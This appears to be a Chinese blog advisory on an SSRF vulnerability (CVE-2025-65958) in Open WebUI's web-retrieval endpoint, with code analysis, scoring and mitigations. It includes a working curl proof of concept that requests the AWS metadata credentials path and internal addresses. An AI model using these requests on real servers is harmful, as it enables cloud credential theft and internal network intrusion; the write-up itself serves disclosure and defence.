警惕!Open WebUI高危SSRF漏洞深度剖析

这篇文章详细分析了Open WebUI中的一个高危服务器端请求伪造(SSRF)漏洞CVE-2025-65958。通过未经验证的URL处理,攻击者可以利用该漏洞访问云元数据端点、扫描内部网络并窃取敏感信息。该漏洞影响0.6.37之前的所有版本,已在0.6.37中修复。

Open WebUI高危SSRF漏洞分析:CVE-2025-65958深度剖析

漏洞概述

Open WebUI是一个自托管的人工智能平台,设计为完全离线操作。在0.6.37版本之前,存在一个服务器端请求伪造(SSRF)漏洞,允许任何经过身份验证的用户强制服务器向任意URL发出HTTP请求。攻击者可利用此漏洞访问云元数据端点(AWS/GCP/Azure)、扫描内部网络、访问防火墙后的内部服务并窃取敏感信息。除了基本身份验证外,无需特殊权限。该漏洞已在0.6.37版本中修复。

技术细节

漏洞位置

该漏洞存在于/api/v1/retrieval/process/web端点中,位于backend/open_webui/routers/retrieval.py文件的第1758-1767行。

漏洞代码片段:

1
2
3
4
5
6
7
8
9
@router.post("/process/web")
def process_web(
    request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)
):
    try:
        collection_name = form_data.collection_name
        if not collection_name:
            collection_name = calculate_sha256_string(form_data.url)[:63]
        content, docs = get_content_from_url(request, form_data.url)  # ← SSRF漏洞点

漏洞机制

form_data.url参数未经任何验证就直接传递给get_content_from_url()函数。该函数链最终调用网络加载器来获取任意URL:

调用链:

  1. retrieval.py:1767get_content_from_url(request, form_data.url)
  2. retrieval/utils.py:77get_loader(request, url)
  3. retrieval/utils.py:62get_web_loader(url, ...)YoutubeLoader(url, ...)

两个加载器都直接获取用户提供的URL,没有任何验证机制。缺失的验证包括:

  • 私有IP范围(RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • 本地主机地址(127.0.0.0/8)
  • 云元数据端点(169.254.169.254, fd00:ec2::254)
  • 协议限制(file://, gopher://等)
  • 域名白名单

攻击演示(PoC)

前提条件

有效的用户账户(任何角色)

步骤1 - 身份验证

1
2
3
4
TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

步骤2 - 基本SSRF测试(外部URL)

1
2
3
4
curl -s "http://localhost:3000/api/v1/retrieval/process/web" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://example.com"}'

结果: 服务器获取example.com的内容并返回,证明漏洞存在:

1
2
3
4
5
6
7
8
{
  "status": true,
  "file": {
    "data": {
      "content": "Example Domain This domain is for use in documentation..."
    }
  }
}

步骤3 - 高级攻击(AWS元数据)

1
2
3
4
curl -s "http://localhost:3000/api/v1/retrieval/process/web" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

结果: 如果服务器运行在AWS/GCP/Azure上,将暴露云凭据。

其他攻击示例:

  • 内部网络:{"url":"http://192.168.1.1"}
  • 本地主机服务:{"url":"http://localhost:5432"}
  • 内部API:{"url":"http://internal-api.local"}

影响分析

受影响对象

所有经过身份验证的用户(无需特殊权限)

攻击能力

1. 云环境入侵

  • 通过元数据端点窃取AWS/GCP/Azure凭据
  • 后果:完全接管云账户

2. 内部网络访问

  • 绕过防火墙访问内部服务(数据库、管理面板、API)
  • 端口扫描和内部基础设施映射
  • 后果:完全的网络可见性

3. 数据窃取

  • 读取内部文档、配置、密钥
  • 访问Kubernetes API服务器
  • 后果:凭据盗窃、API密钥暴露

安全指标

CVSS评分

  • GitHub评分:8.5(高危)
  • 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
  • NVD评分:7.1(高危)
  • 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CVSS v3基础指标

  • 攻击向量:网络(N)
  • 攻击复杂度:低(L)
  • 所需权限:低(L)
  • 用户交互:无(N)
  • 范围:已变更(C)
  • 机密性影响:高(H)
  • 完整性影响:低(L)
  • 可用性影响:无(N)

EPSS分数

  • 利用预测评分系统(EPSS):0.035%
  • 此分数估计此漏洞在未来30天内被利用的概率

弱点分类

  • CWE-ID:CWE-918
  • 弱点名称:服务器端请求伪造(SSRF)
  • 描述:Web服务器从上游组件接收URL或类似请求并检索此URL的内容,但没有充分确保请求被发送到预期的目的地。

修复与参考

受影响版本

  • ≤ 0.6.36

已修复版本

  • 0.6.37

参考链接

  • GHSA ID:GHSA-c6xv-rcvw-v685
  • NVD详情:https://nvd.nist.gov/vuln/detail/CVE-2025-65958
  • GitHub修复提交:open-webui/open-webui@02238d3

时间线

  • 2025年12月4日:由tjbck发布到open-webui/open-webui
  • 2025年12月4日:由美国国家漏洞数据库发布
  • 2025年12月4日:发布到GitHub咨询数据库
  • 2025年12月4日:审查
  • 2025年12月10日:最后更新

缓解建议

  1. 立即升级到Open WebUI 0.6.37或更高版本
  2. 如果无法立即升级,考虑暂时禁用/api/v1/retrieval/process/web端点
  3. 在网络层面实施适当的出口过滤
  4. 监控服务器对内部和云元数据端点的异常请求
  5. 实施最小权限原则,减少已验证用户的数量和权限
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计